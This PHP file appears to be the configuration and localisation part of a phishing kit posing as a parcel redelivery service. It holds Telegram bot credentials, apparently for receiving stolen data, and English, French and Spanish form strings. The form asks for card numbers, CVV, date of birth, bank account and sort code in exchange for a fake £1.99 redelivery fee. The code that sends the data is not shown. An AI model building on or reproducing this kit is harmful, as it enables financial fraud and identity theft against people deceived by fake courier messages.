
<?php
require_once __DIR__ . '/../vendor/autoload.php';


define('APP_SECRET_KEY', 'your_app_secret_key');
define('TELEGRAM_BOT_TOKEN', 'your_bot_token');
define('TELEGRAM_CHAT_ID', 'your_chat_id');
define('TURNSTILE_SECRET', '0x4AAAAAABu91GgBSsO7mQQfMVu_LmVQIiw');
define('GOOGLE_API_KEY', 'your_google_api_key');

session_start();

// Language mappings
$countryLanguageMap = [
    'United Kingdom' => 'en',
    'France' => 'fr',
    'Spain' => 'es',
    'Germany' => 'de',
    'China' => 'zh-CN',
    'Brazil' => 'pt',
    'Russia' => 'ru',
    'Japan' => 'ja',
    'Saudi Arabia' => 'ar',
    'Nigeria' =>'en'
];

// Language translations
$translations = [
    'en' => [
        'home' => 'Home',
        'privacy' => 'Privacy',
        'all_rights_reserved' => 'All rights reserved.',
        'captcha_required' => 'Captcha is required',
        'turnstile_info' => 'We use Cloudflare Turnstile to protect this site from bots. See our <a href="/privacy">privacy policy</a> for details.',
        'redelivery_payment' => 'Redelivery Payment',
        'full_name' => 'Full Name',
        'phone_number' => 'Phone Number',
        'dob' => 'Date of Birth (DD/MM/YYYY)',
        'address_line1' => 'Address Line 1',
        'address_line2' => 'Address Line 2 (Optional)',
        'city' => 'City',
        'postcode' => 'Postcode',
        'card_number' => 'Credit Card Number',
        'exp_date' => 'MM/YY',
        'cvv' => 'CVV',
        'account_number' => 'Account Number',
        'sort_code' => 'Sort Code',
        'submit_payment' => 'Submit Payment',
        'invalid_card' => 'Invalid card number',
        'invalid_exp' => 'Invalid expiry date',
        'invalid_cvv' => 'CVV must be at least 3 digits',
        'invalid_dob' => 'Invalid date of birth or under 18 years old',
        'address_line1_required' => 'Address Line 1 is required',
        'city_required' => 'City is required',
        'postcode_required' => 'Postcode is required',
        'invalid_uk_postcode' => 'Invalid UK postcode format',
        'invalid_fr_postcode' => 'Invalid French postcode format',
        'payment_successful' => 'Payment Successful',
        'payment_message' => 'Your £1.99 payment for redelivery has been processed successfully. Your package will be redelivered shortly.',
        'redirect_message' => 'You will be redirected to the homepage in 5 seconds.',
        'return_home' => 'Return to Home',
    ],
    'fr' => [
        'home' => 'Accueil',
        'privacy' => 'Confidentialité',
        'all_rights_reserved' => 'Tous droits réservés.',
        'captcha_required' => 'Captcha requis',
        'turnstile_info' => 'Nous utilisons Cloudflare Turnstile pour protéger ce site contre les bots. Consultez notre <a href="/privacy">politique de confidentialité</a> pour plus d\'informations.',
        'redelivery_payment' => 'Paiement de la relivraison',
        'full_name' => 'Nom complet',
        'phone_number' => 'Numéro de téléphone',
        'dob' => 'Date de naissance (JJ/MM/AAAA)',
        'address_line1' => 'Adresse ligne 1',
        'address_line2' => 'Adresse ligne 2 (facultatif)',
        'city' => 'Ville',
        'postcode' => 'Code postal',
        'card_number' => 'Numéro de carte',
        'exp_date' => 'MM/AA',
        'cvv' => 'CVV',
        'account_number' => 'Numéro de compte',
        'sort_code' => 'Code de tri',
        'submit_payment' => 'Envoyer le paiement',
        'invalid_card' => 'Numéro de carte invalide',
        'invalid_exp' => 'Date d\'expiration invalide',
        'invalid_cvv' => 'CVV doit comporter au moins 3 chiffres',
        'invalid_dob' => 'Date de naissance invalide ou âge inférieur à 18 ans',
        'address_line1_required' => 'Adresse ligne 1 requise',
        'city_required' => 'Ville requise',
        'postcode_required' => 'Code postal requis',
        'invalid_uk_postcode' => 'Format de code postal UK invalide',
        'invalid_fr_postcode' => 'Format de code postal français invalide',
        'payment_successful' => 'Paiement réussi',
        'payment_message' => 'Votre paiement de £1.99 pour la relivraison a été traité avec succès. Votre colis sera relivré sous peu.',
        'redirect_message' => 'Vous serez redirigé vers la page d\'accueil dans 5 secondes.',
        'return_home' => 'Retourner à l\'accueil',
    ],
    'es' => [
        'home' => 'Inicio',
        'privacy' => 'Privacidad',
        'all_rights_reserved' => 'Todos los derechos reservados.',
        'captcha_required' => 'Captcha requerido',
        'turnstile_info' => 'Usamos Cloudflare Turnstile para proteger este sitio contra bots. Consulte nuestra <a href="/privacy">política de privacidad</a> para más detalles.',
        'redelivery_payment' => 'Pago de reentrega',
        'full_name' => 'Nombre completo',
        'phone_number' => 'Número de teléfono',
        'dob' => 'Fecha de nacimiento (DD/MM/AAAA)',
        'address_line1' => 'Línea de dirección 1',
        'address_line2' => 'Línea de dirección 2 (opcional)',
        'city' => 'Ciudad',
        'postcode' => 'Código postal',
        'card_number' => 'Número de tarjeta',
        'exp_date' => 'MM/AA',
        'cvv' => 'CVV',
        'account_number' => 'Número de cuenta',
        'sort_code' => 'Código de clasificación',
        'submit_payment' => 'Enviar pago',
        'invalid_card' => 'Número de tarjeta inválido',
        'invalid_exp' => 'Fecha de vencimiento inválida',
        'invalid_cvv' => 'CVV debe tener al menos 3 dígitos',
        'invalid_dob' => 'Fecha de nacimiento inválida o edad menor a 18 años',
        'address_line1_required' => 'Línea de dirección 1 requerida',
        'city_required' => 'Ciudad requerida',
        'postcode_required' => 'Código postal requerido',
        'invalid_uk_postcode' => 'Formato de código postal del Reino Unido inválido',
        'invalid_fr_postcode' => 'Formato de código postal francés inválido',
        'payment_successful' => 'Pago exitoso',
        'payment_message' => 'Su pago de £1.99 por la reentrega ha sido procesado con éxito. Su paquete será reentregado pronto.',
        'redirect_message' => 'Será redirigido a la página de inicio en 5 segundos.',
        'return_home' => 'Volver al inicio',
    ],
];
?>
